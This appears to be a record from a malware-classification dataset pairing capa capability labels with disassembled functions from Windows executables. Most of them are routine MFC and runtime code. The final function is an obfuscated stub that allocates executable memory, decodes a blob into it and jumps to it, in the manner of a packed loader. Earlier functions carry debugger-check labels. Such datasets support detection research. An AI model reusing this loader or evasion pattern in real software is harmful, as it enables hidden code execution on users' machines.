joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4065e0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x42833d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, dword [esp + 0x1c]
mov esi, ecx
mov dword [esp + 8], esi
mov ax, word [edi]
mov word [esi], ax
mov cx, word [edi + 2]
mov word [esi + 2], cx
mov dx, word [edi + 4]
mov word [esi + 4], dx
mov ax, word [edi + 6]
mov word [esi + 6], ax
mov cx, word [edi + 8]
mov word [esi + 8], cx
mov dx, word [edi + 0xa]
mov word [esi + 0xa], dx
mov ax, word [edi + 0xc]
mov word [esi + 0xc], ax
mov cx, word [edi + 0xe]
mov word [esi + 0xe], cx
mov dx, word [edi + 0x10]
mov word [esi + 0x10], dx
mov ax, word [edi + 0x12]
mov word [esi + 0x12], ax
mov cx, word [edi + 0x14]
mov word [esi + 0x14], cx
mov dx, word [edi + 0x16]
mov word [esi + 0x16], dx
mov ax, word [edi + 0x18]
mov word [esi + 0x18], ax
mov cx, word [edi + 0x1a]
mov word [esi + 0x1a], cx
mov dx, word [edi + 0x1c]
mov word [esi + 0x1c], dx
mov ax, word [edi + 0x1e]
mov word [esi + 0x1e], ax
mov cx, word [edi + 0x20]
lea edx, [edi + 0x24]
mov word [esi + 0x20], cx
push edx
lea ecx, [esi + 0x24]
call sub.MFC42.DLL_CString::CString_3
lea eax, [edi + 0x28]
lea ecx, [esi + 0x28]
push eax
mov dword [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString_3
lea ecx, [edi + 0x2c]
mov byte [esp + 0x14], 1
push ecx
lea ecx, [esi + 0x2c]
call sub.MFC42.DLL_CString::CString_3
lea edx, [edi + 0x30]
lea ecx, [esi + 0x30]
push edx
mov byte [esp + 0x18], 2
call sub.MFC42.DLL_CString::CString_3
lea eax, [edi + 0x34]
lea ecx, [esi + 0x34]
push eax
mov byte [esp + 0x18], 3
call sub.MFC42.DLL_CString::CString_3
lea ecx, [edi + 0x38]
mov byte [esp + 0x14], 4
push ecx
lea ecx, [esi + 0x38]
call sub.MFC42.DLL_CString::CString_3
lea edx, [edi + 0x3c]
lea ecx, [esi + 0x3c]
push edx
mov byte [esp + 0x18], 5
call sub.MFC42.DLL_CString::CString_3
mov byte [esp + 0x14], 6
add edi, 0x40
lea ecx, [esi + 0x40]
push edi
call sub.MFC42.DLL_CString::CString_3
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x4162a0
Capabilities:
Access peb ldr_data
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x42a1a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push esi
mov esi, ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x30], 0
call fcn.00401040
push 0x1a
push 0x6c
mov ecx, esi
mov byte [esp + 0x38], 1
call fcn.00418a70
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
call fcn.00401530
push str.PC_linkupdate_New
lea ecx, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x3c], 2
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 4
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x10]
push edx
call fcn.00401530
push str.PC_linkupdate.exe
push eax
lea eax, [esp + 0x14]
mov byte [esp + 0x38], 5
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], 7
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x24], esp
push edx
call sub.MFC42.DLL_CString::CString_3
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x2c], esp
push eax
mov byte [esp + 0x3c], 8
call sub.MFC42.DLL_CString::CString_3
mov ecx, esi
mov byte [esp + 0x38], 7
call fcn.00415510
push 0x1b
push 0x6c
mov ecx, esi
call fcn.00418a70
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_4
xor ecx, ecx
push 0x4e89
mov cx, word [esi + 0x21e]
lea edx, [esp + 0xc]
push ecx
push 0x4337d4
push edx
mov byte [esp + 0x40], 9
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, esi
push 0x1c
push 0x6c
call fcn.00418a70
mov eax, dword [esp + 8]
push 0
push 0
push eax
call sub.MFC42.DLL_AfxMessageBox
push 0x1d
push 0x6c
mov ecx, esi
call fcn.00418a70
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::CString_4
mov ax, word [esi + 0x220]
mov byte [esp + 0x30], 0xa
cmp ax, 0xa
jne 0x416413
mov ecx, dword [esp + 0x38]
cmp byte [ecx], 0x30
jne 0x416403
push str.20035UP_ying_pc_link.zip
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::operator_1
jmp 0x41642b
push str.20035UP_zhong_pc_link.zip
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::operator_1
jmp 0x41642b
and eax, 0xffff
lea edx, [esp + 4]
push eax
push str.20035UP__02d_pc_link.zip
push edx
call sub.MFC42.DLL_CString::Format
add esp, 0xc
push 0x1e
push 0x6c
mov ecx, esi
call fcn.00418a70
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0xc]
mov edx, dword [esi + 0x20]
push 5
push 0x434328
push eax
push ecx
push str.open
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
jne 0x416466
push 0
push 0x50
mov ecx, esi
call fcn.00406e80
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0xcc]
lea ecx, [esp + 4]
mov byte [esp + 0x30], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov byte [esp + 0x30], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], 0
call fcn.00401070
lea ecx, [esp + 0x38]
mov dword [esp + 0x30], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x28]
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0x30
ret 4
Function at 0x418c10
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x42a6b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
push edi
lea eax, [esp + 0x20]
add ecx, 0x8e8
push eax
push ecx
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], 1
push ecx
call sub.MFC42.DLL_operator
mov eax, dword [eax]
mov ecx, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
push eax
mov edi, ecx
mov ebp, ecx
push 0x104
push 0x104
mov ecx, esi
mov byte [esp + 0x24], 2
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x432050
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [esp + 0xc]
mov byte [esp + 0x18], 1
call sub.MFC42.DLL_CString::CString
or edi, 0xffffffff
mov ecx, esi
push edi
call sub.MFC42.DLL_CString::ReleaseBuffer
mov esi, dword [esi]
push 0x432050
push esi
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
mov byte [esp + 0x18], 0
test eax, eax
lea ecx, [esp + 0x20]
jne 0x418cd9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov dword [esp + 0x18], edi
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov dword [esp + 0x18], edi
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov eax, 1
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
Function at 0x4198e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42a888
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
mov esi, ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0
call sub.MFC42.DLL_CFile::CFile_1
add esi, 0x8e8
push 0x433cb4
lea eax, [esp + 0x10]
push esi
push eax
mov byte [esp + 0x34], 1
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x30]
lea edx, [esp + 8]
push ecx
push eax
push edx
mov byte [esp + 0x34], 2
call sub.MFC42.DLL_operator
push str..txt
push eax
lea eax, [esp + 0xc]
mov byte [esp + 0x30], 3
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 8]
mov byte [esp + 0x28], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 5
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 4]
push 0
push 0
push ecx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CFile::Open
test eax, eax
pop esi
jne 0x4199c4
lea ecx, [esp]
mov byte [esp + 0x24], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CFile::CFile
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 4
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CFile::Close
lea ecx, [esp]
mov byte [esp + 0x24], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x24], 0
call sub.MFC42.DLL_CFile::CFile
lea ecx, [esp + 0x2c]
mov dword [esp + 0x24], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x28
ret 4

Function at 0x419b20
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x42a900
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
add ecx, 0x8e8
push 0x433cb4
lea eax, [esp + 0xc]
push ecx
push eax
mov dword [esp + 0x20], 0
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x1c]
lea edx, [esp + 4]
push ecx
push eax
push edx
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_operator
push str..txt
push eax
lea eax, [esp + 8]
mov byte [esp + 0x1c], 2
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov byte [esp + 0x14], 4
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp]
mov byte [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x41a880
Capabilities:
Access peb ldr_data
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x42a9f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [esp + 8]
mov dword [esp + 0x2c], ebx
call sub.MFC42.DLL_CString::CString_4
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 1
call sub.MFC42.DLL_CString::CString_4
mov eax, dword [esp + 0x34]
mov edx, dword [0x434a44]
xor ecx, ecx
push eax
mov cx, word [esi + 0x220]
lea eax, [esp + 0x10]
push ecx
push edx
push str._s_shengji_soft__02d_eb__s
push eax
mov byte [esp + 0x40], 2
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea ecx, [esp + 0x34]
lea edx, [esi + 0x8e8]
lea eax, [esp + 0x10]
push ecx
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x30], 3
call fcn.00426e04
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esi + 0x32c]
call fcn.00426e04
mov ecx, esi
call fcn.00409530
test al, al
je 0x41a99b
lea edx, [esi + 0x330]
lea ecx, [esp + 8]
push edx
call fcn.00426e04
mov eax, dword [esi + 0x33c]
cmp eax, ebx
je 0x41a95d
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [esi + 0x33c], ebx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CFile::CFile_1
mov eax, dword [esp + 8]
push ebx
push ebx
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x38], 4
call sub.MFC42.DLL_CFile::Open
test eax, eax
jne 0x41a9dc
mov ecx, dword [esp + 0x38]
push ecx
push 0x7a
mov ecx, esi
call fcn.00406e80
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 2
call sub.MFC42.DLL_CFile::CFile
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov byte [esp + 0x2c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CFile::GetLength
push eax
mov dword [esi + 0x340], eax
call sub.MFC42.DLL_operatornew
mov edx, dword [esi + 0x340]
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esi + 0x33c], eax
push edx
push eax
call sub.MFC42.DLL_CFile::Read
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CFile::Close
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 2
call sub.MFC42.DLL_CFile::CFile
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 8]
mov byte [esp + 0x2c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x24]
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8
Function at 0x41f1c0
Capabilities:
Delete directory
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x42b166
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x348
mov dword [esp], ecx
push ebx
push ebp
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CFileFind::CFileFind
mov ebp, dword [esp + 0x360]
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push ebp
lea eax, [esp + 0xfc]
push 0x4330e0
push eax
mov dword [esp + 0x364], 0
call ebx
add esp, 0xc
lea ecx, [esp + 0xf8]
push 0
push ecx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x41f30b
push esi
push edi
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CFileFind::FindNextFileA
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], eax
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x41f2fd
lea edx, [esp + 0x14]
lea ecx, [esp + 0x1c]
push edx
call sub.MFC42.DLL_CFileFind::GetFileName
push 0xc8
mov ecx, eax
mov byte [esp + 0x364], 1
call sub.MFC42.DLL_CString::GetBuffer
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x360], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0x1c]
push 0x10
lea ecx, [esp + 0x20]
call dword [edx + 0x40]
test eax, eax
lea eax, [esp + 0x38]
push eax
push ebp
push str._s_s
je 0x41f2e2
lea ecx, [esp + 0x1d4]
push ecx
call ebx
mov ecx, dword [esp + 0x20]
add esp, 0x10
lea edx, [esp + 0x1c8]
push edx
call fcn.0041f1c0
jmp 0x41f2fd
lea ecx, [esp + 0x29c]
push ecx
call ebx
add esp, 0x10
lea edx, [esp + 0x290]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x41f232
pop edi
pop esi
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CFileFind::Close
push ebp
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop ebp
pop ebx
test eax, eax
mov dword [esp + 0x350], 0xffffffff
lea ecx, [esp + 0xc]
jne 0x41f34e
call fcn.00427134
xor eax, eax
mov ecx, dword [esp + 0x348]
mov dword fs:[0], ecx
add esp, 0x354
ret 4
call fcn.00427134
mov ecx, dword [esp + 0x348]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x354
ret 4

Function at 0x41fc00
Capabilities:
Copy file
Delete file
Move file

Disassembly:
sub esp, 0x20
push esi
push edi
mov edi, dword [esp + 0x2c]
mov eax, dword [edi]
mov eax, dword [eax - 8]
add eax, 2
push eax
call sub.MFC42.DLL_operatornew
mov esi, eax
push esi
push edi
call fcn.0041fbd0
add esp, 0xc
lea ecx, [esp + 8]
xor eax, eax
mov dword [esp + 0xc], 3
push ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], 0x14
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
pop edi
mov eax, 1
pop esi
add esp, 0x20
ret 4
Function at 0x403770
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403813
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.004140b0
pop ecx
pop ecx
test eax, eax
je 0x4037fc
test ebx, ebx
je 0x4037f0
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.004140b0
pop ecx
pop ecx
test eax, eax
jle 0x4037fc
push ebx
call fcn.00404730
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.0040470f
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x4037bd
xor edi, edi
cmp ebx, edi
jne 0x403817
xor eax, eax
jmp 0x403883
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403846
call fcn.00404730
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403813
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403813
call fcn.00404730
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403836
cmp dword [ebp - 0x70], edi
je 0x403879
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040470f
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085d9
add ebp, 0x9c
leave
ret
Function at 0x404925
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.00404792
push 8
mov esi, eax
call fcn.004046c8
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x404990
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x404997
and dword [ebx + 4], 0
jmp 0x4049ac
xor eax, eax
jmp 0x404a77
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x404a5d
push edi
call fcn.00407d90
pop ecx
cmp eax, 4
jl 0x404983
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x404983
add eax, 0xfffffffd
push 0x4197ac
push eax
mov dword [ebp - 0x74], eax
call fcn.004085f0
pop ecx
pop ecx
test eax, eax
je 0x4049f2
push 0x4197a8
push dword [ebp - 0x74]
call fcn.004085f0
pop ecx
pop ecx
test eax, eax
jne 0x404983
push 0x3b
push edi
call fcn.00409780
pop ecx
pop ecx
test eax, eax
jne 0x404983
push dword [ebp - 0x78]
call fcn.00407d90
push edi
mov ebx, eax
call fcn.00407d90
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.004046c8
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.004140b0
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.004140b0
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.004047e8
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x404983
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.00404730
push ebx
call fcn.00404730
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004085d9
add ebp, 0x214
leave
ret
Function at 0x407d7a
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x41e210
call fcn.0040d880
xor esi, esi
cmp dword [0x422fe8], esi
jne 0x407c3a
push esi
push esi
push 1
push esi
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x407c4d
mov dword [ebp - 0x1c], esi
jmp 0x407c83
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x407c48
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x407c48
cmp dword [eax + 0x400074], 0xe
jbe 0x407c48
xor ecx, ecx
cmp dword [eax + 0x4000e8], esi
setne cl
mov dword [ebp - 0x1c], ecx
call fcn.0040d85e
test eax, eax
jne 0x407c94
push 0x1c
call fcn.004140b0
pop ecx
call fcn.0040d6e3
test eax, eax
jne 0x407ca5
push 0x10
call fcn.004140b0
pop ecx
call fcn.0040d2f3
mov dword [ebp - 4], esi
call fcn.004140b0
test eax, eax
jns 0x407cbe
push 0x1b
call fcn.004140b0
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x422fe4], eax
call fcn.004140b0
mov dword [0x421270], eax
call fcn.0040105b
test eax, eax
jns 0x407ce4
push 8
call fcn.004140b0
pop ecx
call fcn.0040cf3b
test eax, eax
jns 0x407cf5
push 9
call fcn.004140b0
pop ecx
push 1
call fcn.004140b0
pop ecx
cmp eax, esi
je 0x407d08
push eax
call fcn.004140b0
pop ecx
mov eax, dword [0x421294]
mov dword [0x421298], eax
push eax
push dword [0x42128c]
push dword [0x421288]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], esi
jne 0x407d35
push eax
call fcn.004140b0
call fcn.00408d12
jmp 0x407d6a
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.0040d8c5
ret
call fcn.004140b0
jmp 0x407c19

Function at 0x4085d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4085e3
repz ret
jmp fcn.004101ab
Function at 0x4140b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4140bf
pop dword [ebp - 0x50]
mov eax, 0x75018da4
add eax, 0x8b3fb31b
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x814a73e2
add dword [ebp - 0x60], 0xcd07d169
mov dword [ebp - 0x5c], 0x11cab563
sub dword [ebp - 0x5c], 0xdf97691e
mov dword [ebp - 0x58], 0x78371ff5
sub dword [ebp - 0x58], 0x2beadbc7
mov dword [ebp - 0x54], 0xa1658e8f
sub dword [ebp - 0x54], 0xa1658e8f
lea eax, [ebp - 0x60]
push eax
mov eax, 0xb8ed5382
add eax, 0x47542cce
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xddf90f2e
add dword [ebp - 0x60], 0x96795a28
mov dword [ebp - 0x5c], 0x27c161a5
sub dword [ebp - 0x5c], 0xe6550030
mov dword [ebp - 0x58], 0x2d8f35f1
sub dword [ebp - 0x58], 0xca1fc985
mov dword [ebp - 0x54], 0xf18712e
sub dword [ebp - 0x54], 0xf18712e
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x1270ad18
sub eax, 0x122f2ccc
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3e0c2
push 0
call eax
mov ecx, 0xd81703d6
add ecx, 0x27e94ed7
xor edx, edx
add edx, eax
mov edi, 0x614a5cd2
add edi, 0x9ef87b2e
add edi, dword [ebp - 0x50]
mov esi, 0xcb0bf859
sub esi, 0x871eafb7
add dword [ebp - 0x2c], 0x248631f
mov ebx, dword [edi]
sub dword [ebp - 0x28], edi
add ebx, esi
sub dword [ebp - 0xc], ecx
mov dword [edx], ebx
xor dword [ebp - 4], 0xd3a7316c
add edx, 4
add edi, 0x1e019d61
sub edi, 0x1e019d5d
loop 0x4141e3
add eax, 0xb11b046
sub eax, 0xb1072bf
mov ebx, eax
add eax, 0x61d14941
sub eax, 0x61d1493c
mov ecx, 0x856b96bd
add ecx, 0x7ad46943
add ecx, dword [ebp - 0x50]
call ebx
leave
ret